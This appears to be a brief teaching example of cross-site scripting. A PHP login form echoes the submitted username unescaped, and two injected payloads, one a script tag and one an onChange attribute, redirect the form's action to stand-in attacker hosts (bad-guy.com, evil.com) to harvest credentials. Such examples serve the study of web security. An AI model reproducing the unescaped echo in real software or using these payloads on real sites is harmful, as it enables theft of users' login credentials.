XSS Example

XSS Example

  1. <form action="login.php" method="POST">
  2. User: <input type="text" name="username" value="<?php echo $_POST['username']; ?>" />
  3. Pass: <input type="password" name="password" />
  4. <input type="submit" name="Submit" value="Submit" />
  1. ./?username="><script> document.forms[0].action='http://bad-guy.com/harvest.php';
  2. </script><x x="
  1. ./?username=" onChange="document.forms[0].action='http://evil.com/harvest.php';